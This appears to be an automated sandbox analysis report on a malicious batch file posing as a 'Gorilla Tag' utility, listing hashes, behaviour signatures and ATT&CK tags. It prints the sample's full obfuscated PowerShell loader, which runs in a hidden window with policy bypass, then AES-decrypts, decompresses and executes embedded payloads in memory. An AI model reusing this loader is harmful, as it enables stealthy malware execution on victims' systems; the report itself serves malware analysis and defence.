92d971fa9d2c006488924e5ec81bf79e9bac6c7028b2dfdd4a553b59e3ef3660

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
03/05/2024, 12:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$77GorillaTagUtillitiesBETA.bat
Size

267KB
MD5

b73ef489617145823323c8680c0cf926
SHA1

ae9f2c40ec173eab247553e1c63998a2bccf8040
SHA256

92d971fa9d2c006488924e5ec81bf79e9bac6c7028b2dfdd4a553b59e3ef3660
SHA512

0a6a558d2b164e6fa46dc70b0b4ff40358db1288dc6fa00609416aaca3dd48b94c8d76eac1505c7190aba8712dd77e3adbc31047a93046f61b69a023778bf44a
SSDEEP

6144:c4zAEw+MPkt62Um6GQZM4SjcVO9Bfpk4XbPIh6:c4zZwTP4ChxBicVxSbE6

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1924	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1924	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1924	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 380	1764	cmd.exe	29
PID 1764 wrote to memory of 380	1764	cmd.exe	29
PID 1764 wrote to memory of 380	1764	cmd.exe	29
PID 380 wrote to memory of 2936	380	net.exe	30
PID 380 wrote to memory of 2936	380	net.exe	30
PID 380 wrote to memory of 2936	380	net.exe	30
PID 1764 wrote to memory of 1924	1764	cmd.exe	31
PID 1764 wrote to memory of 1924	1764	cmd.exe	31
PID 1764 wrote to memory of 1924	1764	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\$77GorillaTagUtillitiesBETA.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('igimhidT1w9X9vR9LV3GYpqFJfxUYKagKL4RbRUSjPQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('63fsnRenOi4+F2QVs65EJQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $XHxNc=New-Object System.IO.MemoryStream(,$param_var); $UmBxO=New-Object System.IO.MemoryStream; $MfsxI=New-Object System.IO.Compression.GZipStream($XHxNc, [IO.Compression.CompressionMode]::Decompress); $MfsxI.CopyTo($UmBxO); $MfsxI.Dispose(); $XHxNc.Dispose(); $UmBxO.Dispose(); $UmBxO.ToArray();}function execute_function($param_var,$param2_var){ $xFPAd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $knMoI=$xFPAd.EntryPoint; $knMoI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$77GorillaTagUtillitiesBETA.bat';$lMjyu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$77GorillaTagUtillitiesBETA.bat').Split([Environment]::NewLine);foreach ($WAAwD in $lMjyu) { if ($WAAwD.StartsWith(':: ')) { $fTAft=$WAAwD.Substring(3); break; }}$payloads_var=[string[]]$fTAft.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1924-4-0x000007FEF5E1E000-0x000007FEF5E1F000-memory.dmp

Filesize
4KB

Download
memory/1924-6-0x0000000002950000-0x0000000002958000-memory.dmp

Filesize
32KB

Download
memory/1924-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/1924-7-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/1924-8-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/1924-9-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/1924-10-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/1924-12-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download
memory/1924-11-0x000007FEF5B60000-0x000007FEF64FD000-memory.dmp

Filesize
9.6MB

Download